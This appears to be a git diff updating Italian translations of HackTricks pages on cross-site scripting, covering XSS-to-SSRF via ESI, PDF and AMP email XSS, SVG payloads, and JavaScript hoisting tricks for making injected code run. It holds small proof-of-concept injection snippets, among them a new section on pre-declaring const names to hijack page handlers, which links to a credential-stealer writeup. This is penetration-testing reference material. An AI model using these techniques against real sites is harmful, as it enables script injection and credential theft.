vulnerabilità +## XSS che sfrutta altre vulnerabilità ### XSS in Markdown @@ -1553,23 +1595,25 @@ xss-in-markdown.md ### XSS a SSRF -Hai XSS su un **sito che utilizza caching**? Prova **a passare a SSRF** tramite Edge Side Include Injection con questo payload: +Hai trovato XSS su un **sito che usa caching**? Prova a **trasformarlo in SSRF** tramite Edge Side Include Injection con questo payload: ```python ``` -Usalo per bypassare le restrizioni sui cookie, i filtri XSS e molto altro!\ -Maggiore informazione su questa tecnica qui: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md). +Usalo per eludere le restrizioni sui cookie, i filtri XSS e molto altro!\ +Maggiori informazioni su questa tecnica qui: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md). -### XSS in PDF creati dinamicamente +### XSS in PDF creato dinamicamente + +Se una pagina web crea un PDF usando input controllati dall'utente, puoi provare a **ingannare il bot** che crea il PDF per fargli **eseguire codice JS arbitrario**.\ +Quindi, se il **PDF creator bot trova** qualche tipo di **tag HTML**, li **interpreta**, e puoi **abusare** di questo comportamento per causare un **Server XSS**. -Se una pagina web sta creando un PDF utilizzando input controllato dall'utente, puoi provare a **ingannare il bot** che sta creando il PDF per **eseguire codice JS arbitrario**.\ -Quindi, se il **bot creatore di PDF trova** qualche tipo di **tag HTML**, lo **interpreterà**, e puoi **sfruttare** questo comportamento per causare un **Server XSS**. {{#ref}} server-side-xss-dynamic-pdf.md {{#endref}} -Se non puoi iniettare tag HTML, potrebbe valere la pena provare a **iniettare dati PDF**: +Se non puoi iniettare tag HTML potrebbe valere la pena provare a **iniettare dati PDF**: + {{#ref}} pdf-injection.md @@ -1577,9 +1621,9 @@ pdf-injection.md ### XSS in Amp4Email -AMP, mirato ad accelerare le prestazioni delle pagine web sui dispositivi mobili, incorpora tag HTML integrati da JavaScript per garantire funzionalità con un'enfasi su velocità e sicurezza. Supporta una gamma di componenti per varie funzionalità, accessibili tramite [AMP components](https://amp.dev/documentation/components/?format=websites). +AMP, progettato per accelerare le prestazioni delle pagine web su dispositivi mobili, incorpora tag HTML integrati da JavaScript per garantire funzionalità con un'enfasi su velocità e sicurezza. Supporta una gamma di componenti per varie funzionalità, accessibili tramite [AMP components](https://amp.dev/documentation/components/?format=websites). -Il formato [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) estende componenti AMP specifici alle email, consentendo ai destinatari di interagire con i contenuti direttamente all'interno delle loro email. +Il formato [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) estende specifici componenti AMP alle email, permettendo ai destinatari di interagire con il contenuto direttamente all'interno delle loro email. Esempio [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email). @@ -1641,9 +1685,9 @@ id="foo"/> ```xml ``` -Trova **ulteriori payload SVG in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) +Trova **più payloads SVG su** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) -## Suggerimenti JS vari e informazioni rilevanti +## Trucchi JS vari e informazioni rilevanti {{#ref}} @@ -1659,4 +1703,9 @@ other-js-tricks.md - [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html) - [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide) +## Riferimenti + +- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html) +- [MDN eval()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md index a2375d493..341305b58 100644 --- a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md +++ b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md @@ -2,31 +2,31 @@ {{#include ../../banners/hacktricks-training.md}} -## Informazioni di Base +## Informazioni di base -Nel linguaggio JavaScript, viene descritto un meccanismo noto come **Hoisting** in cui le dichiarazioni di variabili, funzioni, classi o importazioni vengono concettualmente sollevate all'inizio del loro ambito prima che il codice venga eseguito. Questo processo è eseguito automaticamente dal motore JavaScript, che analizza lo script in più passaggi. +Nel linguaggio JavaScript esiste un meccanismo chiamato **Hoisting** in cui le dichiarazioni di variabili, funzioni, classi o import vengono concettualmente sollevate all'inizio del loro ambito prima che il codice venga eseguito. Questo processo è eseguito automaticamente dal motore JavaScript, che analizza lo script in più passaggi. -Durante il primo passaggio, il motore analizza il codice per controllare errori di sintassi e lo trasforma in un albero di sintassi astratta. Questa fase include il hoisting, un processo in cui alcune dichiarazioni vengono spostate all'inizio del contesto di esecuzione. Se la fase di analisi ha successo, indicando che non ci sono errori di sintassi, l'esecuzione dello script procede. +Durante il primo passaggio, il motore esegue il parsing del codice per verificare errori di sintassi e lo trasforma in un albero di sintassi astratta. Questa fase include lo hoisting, un processo in cui alcune dichiarazioni vengono spostate all'inizio del contesto di esecuzione. Se la fase di parsing ha successo, indicando l'assenza di errori di sintassi, l'esecuzione dello script procede. È cruciale comprendere che: -1. Lo script deve essere privo di errori di sintassi affinché l'esecuzione avvenga. Le regole di sintassi devono essere seguite rigorosamente. -2. La posizione del codice all'interno dello script influisce sull'esecuzione a causa del hoisting, anche se il codice eseguito potrebbe differire dalla sua rappresentazione testuale. +1. Lo script deve essere privo di errori di sintassi perché l'esecuzione abbia luogo. Le regole di sintassi devono essere rispettate rigorosamente. +2. La posizione del codice all'interno dello script influisce sull'esecuzione a causa dello hoisting, anche se il codice eseguito potrebbe differire dalla sua rappresentazione testuale. #### Tipi di Hoisting -Basato sulle informazioni di MDN, ci sono quattro tipi distinti di hoisting in JavaScript: +Secondo MDN, ci sono quattro tipi distinti di hoisting in JavaScript: -1. **Value Hoisting**: Consente l'uso del valore di una variabile all'interno del suo ambito prima della sua linea di dichiarazione. -2. **Declaration Hoisting**: Permette di fare riferimento a una variabile all'interno del suo ambito prima della sua dichiarazione senza causare un `ReferenceError`, ma il valore della variabile sarà `undefined`. -3. Questo tipo altera il comportamento all'interno del suo ambito a causa della dichiarazione della variabile prima della sua linea di dichiarazione effettiva. +1. **Value Hoisting**: Permette di usare il valore di una variabile all'interno del suo ambito prima della sua riga di dichiarazione. +2. **Declaration Hoisting**: Permette di riferirsi a una variabile all'interno del suo ambito prima della sua dichiarazione senza causare un `ReferenceError`, ma il valore della variabile sarà `undefined`. +3. Questo tipo modifica il comportamento all'interno del suo ambito perché la dichiarazione della variabile avviene prima della sua effettiva riga di dichiarazione. 4. Gli effetti collaterali della dichiarazione si verificano prima che il resto del codice che la contiene venga valutato. -In dettaglio, le dichiarazioni di funzione mostrano un comportamento di hoisting di tipo 1. La parola chiave `var` dimostra un comportamento di tipo 2. Le dichiarazioni lessicali, che includono `let`, `const` e `class`, mostrano un comportamento di tipo 3. Infine, le dichiarazioni `import` sono uniche in quanto vengono hoisted con comportamenti sia di tipo 1 che di tipo 4. +Nello specifico, le dichiarazioni di funzione mostrano il comportamento di hoisting di tipo 1. La keyword `var` mostra il comportamento di tipo 2. Le dichiarazioni lessicali, che includono `let`, `const` e `class`, mostrano il comportamento di tipo 3. Infine, le istruzioni `import` sono uniche in quanto vengono hoisted con i comportamenti sia di tipo 1 sia di tipo 4. ## Scenari -Pertanto, se hai scenari in cui puoi **Iniettare codice JS dopo che un oggetto non dichiarato** è stato utilizzato, potresti **correggere la sintassi** dichiarandolo (in modo che il tuo codice venga eseguito invece di generare un errore): +Pertanto, se ti trovi in scenari in cui puoi **Inject JS code after an undeclared object** is used, potresti **fix the syntax** dichiarandolo (in modo che il tuo codice venga eseguito invece di generare un errore): ```javascript // The function vulnerableFunction is not defined vulnerableFunction('test', ''); @@ -68,7 +68,7 @@ alert(1); test.cookie("leo", "INJECTION") test[("cookie", "injection")] ``` -## Altri Scenari +## Altri scenari ```javascript // Undeclared var accessing to an undeclared method x.y(1,INJECTION) @@ -127,11 +127,31 @@ alert(1) - }, }) } +trigger() ``` +### Anticipare dichiarazioni successive bloccando un nome con const + +Se puoi eseguire del codice prima che una `function foo(){...}` di livello top venga parsata, dichiarare un binding lessicale con lo stesso nome (es., `const foo = ...`) impedirà alla successiva dichiarazione di funzione di riassegnare quell'identificatore. Questo può essere sfruttato in RXSS per dirottare handler critici definiti più avanti nella pagina: +```javascript +// Malicious code runs first (e.g., earlier inline